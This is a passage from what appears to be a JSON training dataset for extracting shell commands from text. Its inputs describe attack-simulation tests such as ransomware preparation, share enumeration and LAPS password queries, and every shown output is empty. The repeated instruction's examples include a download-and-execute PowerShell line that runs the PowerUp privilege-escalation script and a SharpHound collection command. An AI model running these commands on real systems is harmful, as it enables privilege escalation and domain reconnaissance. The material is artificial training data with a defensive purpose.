...]\n }\n\n Here is the text you need to analyze:\n Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host\nUpon execution available network shares will be displayed in the powershell session\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copies and deletes mail data on Linux\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Download a remote file using the whois utility\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This task recreates the steps taken by BlackByte ransomware before it worms to other machines. See \"Preparing to Worm\" section: https://redcanary.com/blog/blackbyte-ransomware/\nThe steps are as follows:\n
    \n
  1. 1. Elevate Local Privilege by disabling UAC Remote Restrictions
  2. \n
  3. 2. Enable OS to share network connections between different privilege levels
  4. \n
  5. 3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths
  6. \n
\nThe registry keys and their respective values will be created upon successful execution.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. \n[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are 